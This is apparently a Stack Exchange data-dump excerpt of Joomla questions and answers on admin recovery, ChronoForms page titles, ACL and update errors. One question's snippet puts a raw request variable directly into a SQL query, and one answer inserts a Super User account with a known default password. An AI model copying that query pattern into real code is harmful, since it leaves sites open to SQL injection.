  <row Id="16438" PostTypeId="2" ParentId="16434" CreationDate="2016-05-02T21:06:18.377" Score="1" Body="&lt;p&gt;It looks to me like you are trying to access the back-end with an account that only has registered permissions - certainly, that's the screen I get when I try it with such an account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Joomla specify &lt;a href=&quot;https://docs.joomla.org/How_do_you_recover_your_admin_password?&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, this method works with accounts that are &lt;strong&gt;Author level or higher&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, and you have no known accounts with a higher setting, then you'll probably need to poke around in the database to reset it.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-05-02T21:06:18.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16439" PostTypeId="2" ParentId="16434" CreationDate="2016-05-02T23:13:51.723" Score="0" Body="&lt;p&gt;Here are a couple of options to try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Promote User to Superuser&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that the user account you are logging in with is a member of the Super Users group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log in to cPanel and go to phpMyAdmin (or similar) and ensure that the &lt;code&gt;group_id&lt;/code&gt; of the relevant user in the [your_prefix]_user_usergroup_map table is set to the Super Users Group ID which by default is &lt;code&gt;8&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now be able to log in with full privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Add a New Super Administrator User&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have access to cPanel and phpMyAdmin (or similar), you can create a new Superuser in Joomla 2.5 and Joomla 3.x as per &lt;a href=&quot;https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F#Add_a_New_Super_Administrator_User&quot; rel=&quot;nofollow&quot;&gt;Add a New Super Administrator User&lt;/a&gt; in the official documentation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Navigate to phpMyAdmin and select the database for the Joomla! site in the left-hand drop-down list box. This will show the database tables on the left side of the screen.&lt;/li&gt;&#xA;&lt;li&gt;Press the &quot;SQL&quot; button in the toolbar to run an SQL query on the selected database. This will display a field called &quot;Run SQL query/queries on database &quot;.&lt;/li&gt;&#xA;&lt;li&gt;Delete any text in this field and copy and paste the following query below and press the Go button to execute the query and add the new Administrator user to the table.&lt;/li&gt;&#xA;&lt;li&gt;Use the SQL query below to add another administrator account.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Make sure you match your db table prefix!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code uses jos31_ as the table name prefix which is only an example table prefix. The prefix when you first installed Joomla is RANDOM or what you set it specifically too. You will need to change all occurrences of jos31_(your install set prefix) found in the code below to the prefix your installation is using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `jos31_users` (`name`, `username`, `password`, `params`) VALUES ('Administrator2', 'admin2', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '');&#xA;INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point, you should be able to log into the back end of Joomla! with the username of &quot;admin2&quot; and password of &quot;secret&quot;. After logging in, go to the User Manager and change the password to a new secure value and add a valid e-mail address to the account.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-05-02T23:55:42.567" LastActivityDate="2016-05-02T23:55:42.567" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16440" PostTypeId="2" ParentId="16431" CreationDate="2016-05-02T23:28:39.840" Score="1" Body="&lt;p&gt;Any of the &lt;a href=&quot;http://extensions.joomla.org/category/contacts-and-feedback/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;popular forms extensions&lt;/a&gt; should be able to do this for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preferred extension for this type of thing is &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/chronoforms&quot; rel=&quot;nofollow noreferrer&quot;&gt;ChronoForms&lt;/a&gt; which will certainly gather the data, allow you to analyse it and then send conditional emails and/or save results to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as manipulation goes, you may need to learn a little PHP if the forms extension doesn't do everything you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChronoForms v5 example showing typical actions such as email and saving to the database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/V1LFz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/V1LFz.jpg&quot; alt=&quot;ChronoForms v5&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-05-02T23:28:39.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16441" PostTypeId="1" AcceptedAnswerId="16442" CreationDate="2016-05-03T01:49:45.507" Score="1" ViewCount="452" Body="&lt;p&gt;I am trying to set the page title, meta description and meta keywords to improve SEO on a &lt;a href=&quot;http://extensions.joomla.org/extension/chronoforms&quot; rel=&quot;nofollow noreferrer&quot;&gt;ChronoForms&lt;/a&gt; v4 page by adding a Custom Code action in the On Load section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if ($form-&amp;gt;data['LongTitle']) {&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;setTitle($form-&amp;gt;data['LongTitle']);&#xA;  }&#xA;  if ($form-&amp;gt;data['MetaDescription']) {&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;setDescription($form-&amp;gt;data['MetaDescription']);&#xA;  }&#xA;  if ($form-&amp;gt;data['MetaKeywords']) {&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;setMetaData('keywords', $form-&amp;gt;data['MetaKeywords']);&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setDescription&lt;/code&gt; and &lt;code&gt;setMetaData&lt;/code&gt; work fine but &lt;code&gt;setTitle&lt;/code&gt; does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per &lt;a href=&quot;https://stackoverflow.com/a/31458607/1983389&quot;&gt;https://stackoverflow.com/a/31458607/1983389&lt;/a&gt;, it appears the article or menu option may set the page title later than the ChronoForm especially when loading the ChronoForm via the ChronoForms content plugin (as is the case in this example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tried adding a Meta Tager (sic) action in the On Load Section&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Meta Tager option has the same issue where the Meta Description and Meta Keywords are set OK but not the Page Title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tried changing the order of the content plugins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried moving the ChronoForms content plugin last but this didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tried using &lt;a href=&quot;http://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Sourcerer&lt;/a&gt; to add code into the article&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding the code directly into the article but this didn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{chronoforms}Tour{/chronoforms}&#xA;{source}&#xA;  &amp;lt;?php&#xA;    $tour = JRequest::getVar('Tour');&#xA;    $db = JFactory::getDBO();&#xA;    $db-&amp;gt;setQuery(&quot;SELECT cf_id,LongTitle FROM #__chronoforms_data_Tours WHERE cf_id='$tour'&quot;);&#xA;    $result = $db-&amp;gt;loadObject();&#xA;    $tourname = $result-&amp;gt;LongTitle;&#xA;    if ($tourname) {&#xA;      $document = JFactory::getDocument();&#xA;      $document-&amp;gt;setTitle($tourname);&#xA;    }&#xA;  ?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2019-08-26T08:38:03.980" Title="How do I set the Page Title from within ChronoForms?" Tags="|seo|chronoforms|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16442" PostTypeId="2" ParentId="16441" CreationDate="2016-05-03T01:55:46.060" Score="1" Body="&lt;p&gt;&lt;strong&gt;JavaScript to the rescue&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Page Title can be set via JavaScript as per &lt;a href=&quot;https://stackoverflow.com/a/24881134&quot;&gt;https://stackoverflow.com/a/24881134&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ChronoForms, add a &quot;Load JS&quot; action to the &quot;On Load&quot; section with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.onload=function() {&#xA;  changeTitle ('&amp;lt;?php echo $form-&amp;gt;data['LongTitle']; ?&amp;gt;')&#xA;}&#xA;function changeTitle (newTitle) {&#xA;  document.title=newTitle;            &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works and &lt;a href=&quot;http://searchengineland.com/tested-googlebot-crawls-javascript-heres-learned-220157&quot; rel=&quot;nofollow noreferrer&quot;&gt;apparently&lt;/a&gt; Google does crawl content injected by JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other search engines may not see JavaScript injected content so this is probably not the best practice and this method is only recommended where there is no better way to update the Page Title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be delighted to see some better answers than this poor work around.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-05-03T01:55:46.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16443" PostTypeId="2" ParentId="14745" CreationDate="2016-05-03T03:42:59.660" Score="1" Body="&lt;p&gt;One way that appears to allow the upgrade to be done without the menu option is to browse directly to URL &lt;strong&gt;/administrator/index.php?option=com_joomlaupdate&lt;/strong&gt; within your site. If I understand correctly, this allows minor version updates, and for version 2.5.14 will allow updating to version 2.5.28 (at the current point in time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now also see that a major version update is available to me at the site URL &lt;strong&gt;/administrator/index.php?option=com_cmsupdate&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on my Components menu as option &quot;Akeeba CMS Update&quot; and on my Control Panel as button &quot;Joomla 3.5.1 is available&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly these options require non-standard extension(s) though, as I appear to have a Component called &quot;Cmsupdate&quot; by author Nicholas K. Dionysopoulos and a Plugin called &quot;Quick Icon - Akeeba CMS Update notification for Joomla! updates&quot; by author &quot;Nicholas K. Dionysopoulos / AkeebaBackup.com&quot;.&lt;/p&gt;&#xA;" OwnerUserId="7455" LastEditorUserId="7455" LastEditDate="2016-05-04T03:02:23.810" LastActivityDate="2016-05-04T03:02:23.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16444" PostTypeId="2" ParentId="2179" CreationDate="2016-05-03T05:42:42.903" Score="0" Body="&lt;p&gt;Try with one of this extensions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/edition/editors/epiceditor-for-joomla&quot; rel=&quot;nofollow&quot;&gt;Epic Editor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/yoonique-markdown&quot; rel=&quot;nofollow&quot;&gt;Yoonique Markdown&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/edition/editors/ace-x-markdown-editor&quot; rel=&quot;nofollow&quot;&gt;ACE X Markdown&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-05-03T05:42:42.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16445" PostTypeId="2" ParentId="945" CreationDate="2016-05-03T06:04:22.793" Score="0" Body="&lt;p&gt;You can check more info about the &lt;strong&gt;&lt;em&gt;Official Joomla! Certification Program&lt;/em&gt;&lt;/strong&gt; and available&lt;br/&gt; dates in: &lt;a href=&quot;https://certification.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://certification.joomla.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time of this post*(May 2016)* these are the Certifications planned:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla! Administrator &lt;/li&gt;&#xA;&lt;li&gt;Joomla! Template&lt;/li&gt;&#xA;&lt;li&gt;Joomla! Developer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2020 Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today the available certification is called &quot;&lt;strong&gt;Joomla! Administrator Exam&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find a learaning guide with the topics covered here: &lt;a href=&quot;https://certification.joomla.org/exams/administrator-learning-guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Learning Guide&lt;/strong&gt;&lt;/a&gt;&#xA;&lt;br/&gt;&#xA;These topic include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Joomla! Architecture&lt;/li&gt;&#xA;&lt;li&gt;Website Structure&lt;/li&gt;&#xA;&lt;li&gt;Installation&lt;/li&gt;&#xA;&lt;li&gt;Security and Maintenance&lt;/li&gt;&#xA;&lt;li&gt;Upgrading System&lt;/li&gt;&#xA;&lt;li&gt;Language Management&lt;/li&gt;&#xA;&lt;li&gt;Content Management&lt;/li&gt;&#xA;&lt;li&gt;Menu Management&lt;/li&gt;&#xA;&lt;li&gt;User Management&lt;/li&gt;&#xA;&lt;li&gt;Extension Management&lt;/li&gt;&#xA;&lt;li&gt;Miscellaneaus Tasks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-05-14T20:29:59.730" LastActivityDate="2020-05-14T20:29:59.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16446" PostTypeId="1" CreationDate="2016-05-03T06:23:33.027" Score="1" ViewCount="146" Body="&lt;p&gt;I am about to migrate a website from Adobe Business Catalyst to Joomla but one of the main items I want to check before doing this is the ability to have different &quot;Restricted Areas&quot; accessible from a Single Login panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Users A, B &amp;amp; C login and are redirected to pages available in the folder created for Company A.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Users D, E &amp;amp; F login using the same login panel and are redirected to pages available in the folder created for Company B.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The reason for this is the information available varies from Company to Company and they are co-branded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a Login plugin or do I need to set this up using different &quot;User Groups&quot; and assigning the User &amp;amp; Pages to the relevant areas?&lt;/p&gt;&#xA;" OwnerUserId="8038" LastActivityDate="2016-05-03T07:17:29.973" Title="Single Login to Multiple Areas" Tags="|joomla-3.x|user|login|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16447" PostTypeId="2" ParentId="5398" CreationDate="2016-05-03T06:32:01.480" Score="1" Body="&lt;p&gt;If you only want to change the content area, use &lt;strong&gt;&quot;Page Class&quot;&lt;/strong&gt; in &lt;strong&gt;&quot;Page Display&quot;&lt;/strong&gt; Tab inside your menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the style for the entire menu item page, try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;By item id:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As an example in the default &lt;em&gt;Protostar&lt;/em&gt; template you can see in the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag a class like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;... itemid-101 ...&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This corresponds to the menu item with the Id 101. From here you can add a class in the file &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_a_custom_CSS_with_Protostar&quot; rel=&quot;nofollow noreferrer&quot;&gt;user.css&lt;/a&gt; for the new CSS class &lt;code&gt;.item101 {}&lt;/code&gt;, this works for the entire &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code used here, in the index.php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo $itemid ? ' itemid-' . $itemid : ''; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;By active menu item, find here more examples:&lt;br/&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_the_Page_Class_Suffix_in_Template_Code&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_the_Page_Class_Suffix_in_Template_Code&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Via extension:&lt;br/&gt;&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/templating/css2switch-basic&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/extension/style-a-design/templating/css2switch-basic&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-05-21T02:09:25.440" LastActivityDate="2020-05-21T02:09:25.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16448" PostTypeId="2" ParentId="264" CreationDate="2016-05-03T06:56:06.633" Score="0" Body="&lt;p&gt;In &lt;strong&gt;Joomla! 3.x&lt;/strong&gt; you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First create your Modules,&lt;/li&gt;&#xA;&lt;li&gt;Create a new Category, inside a new Article for the main site,&lt;/li&gt;&#xA;&lt;li&gt;Check if you have enabled the Plugin &lt;strong&gt;Content - Load Modules&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;By default Joomla! includes a library called &lt;em&gt;Bootstrap&lt;/em&gt; &lt;strong&gt;v2.3.2&lt;/strong&gt;, so you can use the css in this library, for example the &lt;strong&gt;grid system&lt;/strong&gt;: &lt;a href=&quot;http://getbootstrap.com/2.3.2/scaffolding.html#gridSystem&quot; rel=&quot;nofollow&quot;&gt;http://getbootstrap.com/2.3.2/scaffolding.html#gridSystem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From here, in your article you can see a button called &lt;strong&gt;Module&lt;/strong&gt;, just create a simple or very complex grid and assign your modules to each block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A benefit that you can get by using this way, is that you can get a template more light with less positions and less php, js and css code, so if you don't need many functionalities, you can &lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow&quot;&gt;create it&lt;/a&gt; yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-05-03T06:56:06.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16449" PostTypeId="2" ParentId="16446" CreationDate="2016-05-03T07:17:29.973" Score="1" Body="&lt;p&gt;Yes is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a feature called &lt;strong&gt;Access Control List&lt;/strong&gt; &lt;em&gt;(&lt;strong&gt;ACL&lt;/strong&gt;)&lt;/em&gt; by default in Joomla!, so you can create simple or complex restricted areas for your content and site sections.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Here you can find more useful info:&#xA;&lt;a href=&quot;https://docs.joomla.org/ACL&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/ACL&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here you have a complete tutorial:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial/es&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial/es&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Just as a note, the content in joomla! are managed by extensions like components, modules and menu items, not by folders, if you want restricted areas to folders with multimedia (pdf, images, etc) you need &lt;a href=&quot;http://extensions.joomla.org/extensions/extension?searchall=&amp;amp;filter%5Btags%5D%5B%5D=&amp;amp;filter%5Bcore_catid%5D=61&amp;amp;filter%5Bincludes%5D=&amp;amp;filter%5Bversions%5D=&amp;amp;filter%5Btype%5D=&amp;amp;filter%5Bhasdemo%5D=&amp;amp;order=&amp;amp;filter%5Bnewupdated%5D=&amp;amp;filter%5Bscore%5D=&amp;amp;filter%5Bfavourites%5D=&amp;amp;dir=DESC&amp;amp;limitstart=0&amp;amp;controller=filter&amp;amp;view=extension&amp;amp;layout=list&amp;amp;Itemid=145&amp;amp;clearorders=0&amp;amp;clearfilters=1&quot; rel=&quot;nofollow&quot;&gt;an extension&lt;/a&gt; to manage this.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-05-03T07:17:29.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16450" PostTypeId="1" AcceptedAnswerId="16451" CreationDate="2016-05-03T08:21:41.887" Score="2" ViewCount="600" Body="&lt;p&gt;I have update my Joomla from V3.4 to V3.5 and below error is showing. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;NetworkError: 404 Component not found. -&#xA;  &lt;a href=&quot;http://example.com/administrator/index.php?option=com_ajax&amp;amp;group=system&amp;amp;plugin=sendStats&amp;amp;format=raw&quot; rel=&quot;nofollow&quot;&gt;http://example.com/administrator/index.php?option=com_ajax&amp;amp;group=system&amp;amp;plugin=sendStats&amp;amp;format=raw&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried to place &lt;code&gt;die('here');&lt;/code&gt; in &lt;code&gt;administrator/components/com_ajax/ajax.php&lt;/code&gt; and there is no output.&lt;/p&gt;&#xA;" OwnerUserId="3832" LastActivityDate="2016-05-03T09:06:47.257" Title="Joomla 3.5 com_ajax not found" Tags="|joomla-3.x|php|joomla-3.5|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16451" PostTypeId="2" ParentId="16450" CreationDate="2016-05-03T09:06:47.257" Score="3" Body="&lt;p&gt;It seems like the Ajax Interface has somehow been lost in the Joomla update, however the files are still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard of this happening before and believe it's a Joomla bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as the files &lt;strong&gt;are&lt;/strong&gt; still there, go to your Joomla back-end, then go to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extensions &gt;&gt; Manage &gt;&gt; Discover&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should see the &lt;strong&gt;Ajax Interface&lt;/strong&gt; component appear, which you can then install.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-05-03T09:06:47.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16452" PostTypeId="1" CreationDate="2016-05-03T09:37:05.147" Score="0" ViewCount="322" Body="&lt;p&gt;When a user clicks email icon in frontend article, a default message is sent giving the article link. But I want to modify this, and also send &lt;code&gt;Article title&lt;/code&gt; and &lt;code&gt;Introtext&lt;/code&gt; in the email. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For this, I created override of &lt;code&gt;COM_MAILTO_EMAIL_MSG&lt;/code&gt; in languages/en-GB.com_mailto.ini.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;strong&gt;components/com_mailto/controller.php&lt;/strong&gt;, set the email html content to true. But, I am not able to pass the article's id,title and introtext in the mail function which can be used in language file as dynamic parameters.&lt;/li&gt;&#xA;&lt;li&gt;Here, only article link is available.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit --&#xA;This is the core modification, therefore for this, I created a system override plugin as mentioned here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core#Summary&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core#Summary&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I created a mailtooverridecontroller.php but here and copied the code of the &lt;code&gt;components/com_mailto/controller.php&lt;/code&gt; but now I am getting error &lt;code&gt;Cannot redeclare MailtoController class in components/com_mailto/controller.php&lt;/code&gt;. According to the documentation, the override controller file must run and not the old one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly, guide me what am I doing wrong here&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-05-04T10:44:37.410" LastActivityDate="2016-05-04T10:44:37.410" Title="Send Article Details when user click Email Icon" Tags="|joomla-3.x|articles|overrides|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16454" PostTypeId="2" ParentId="16130" CreationDate="2016-05-03T13:06:00.063" Score="1" Body="&lt;p&gt;Edit the article and set Access = &quot;Special&quot; so that only Managers and Administrators can view the article in the font-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view the article in the front end by browsing to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://your-website.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=66&quot; rel=&quot;nofollow&quot;&gt;http://your-website.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=66&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the article ID from 66 to the correct article ID which you can find in &lt;code&gt;Content -&amp;gt; Articles&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are happy for everyone to see the article, edit the article again and set Access = &quot;Public&quot;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-05-03T13:06:00.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16455" PostTypeId="1" CreationDate="2016-05-03T16:15:30.550" Score="0" ViewCount="464" Body="&lt;p&gt;I'm having trouble logging in to the Joomla backend. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can access the admin panel is if I add &lt;code&gt;public $root_user=&quot;username&quot;;&lt;/code&gt; to the &lt;strong&gt;configuration.php&lt;/strong&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I finally logged in, I tried changing the Global Configurations to set all ACL to their defaults so I don't lock myself out again, but I keep getting this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oAUY6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAUY6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried adding a new Super User but then when I attempt to log in with the new user info it says the password is wrong or I need to make an account... not really sure what's going on at this point. Please help!&lt;/p&gt;&#xA;" OwnerUserId="8351" LastEditorUserId="168" LastEditDate="2016-05-03T16:17:50.087" LastActivityDate="2016-08-02T22:30:46.640" Title="Can Only Log In to Joomla Backend with Emergency Root User" Tags="|joomla-3.x|login|global-configuration|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
